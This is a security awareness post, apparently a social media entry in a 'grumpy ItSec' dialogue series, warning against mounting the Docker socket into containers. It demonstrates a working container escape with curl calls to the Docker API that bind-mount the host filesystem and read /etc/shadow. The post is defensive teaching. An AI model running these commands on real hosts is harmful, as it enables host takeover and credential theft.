A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.
ItSec (walking by): Guys... a quick test. From inside that container, run:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...
devops0: So what? What does it mean?
Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:
# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04
If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:
# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root
# apt update && apt install -y curl
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'
# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
From there, the attacker can shell in and operates on /host
(add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:
# Read /etc/shadow of Docker Host using only curl, step 1:
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'
# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'
Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock
or a TCP-exposed daemon).
And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.
[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/
Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956
#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js